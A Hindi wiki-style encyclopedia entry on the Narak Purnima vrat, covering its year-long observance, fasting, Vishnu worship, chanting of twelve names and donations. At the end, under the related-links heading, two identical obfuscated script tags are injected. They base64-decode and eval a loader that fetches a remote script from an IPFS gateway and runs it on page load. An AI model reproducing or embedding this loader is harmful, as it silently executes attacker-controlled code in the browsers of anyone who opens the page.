नरक पूर्णिमा
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (वार्ता | योगदान) द्वारा परिवर्तित 07:02, 7 दिसम्बर 2010 का अवतरण (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "")
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- प्रत्येक पूर्णिमा या मार्गशीर्ष की पूर्णिमा पर आरम्भ होता है।
- यह व्रत एक वर्ष के लिए किया जाता है।
- उस दिन उपवास एवं विष्णु पूजा की जाती है।
- तथा उनके नाम का जप या केशव से दामोदर तक 12 नामों का जाप 12 मासों में (मार्गशीर्ष से प्रारम्भ कर) होता है।
- प्रत्येक मास में दक्षिणा के साथ एक जलपात्र एवं वस्त्रों का जोड़ा, यदि असमर्थ हों तो वर्ष के अन्त में ही ऐसा दान दिया जाता है।
- इस व्रत से सुख मिलता है।
- यदि मृत्यु के समय हरि का नाम लिया जाता है तो स्वर्ग मिलता है।[1]
टीका टिप्पणी और संदर्भ
- ↑ हेमाद्रि (व्रतखण्ड 2, 166-167, विष्णुधर्मोत्तरपुराण से उद्धरण)।
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>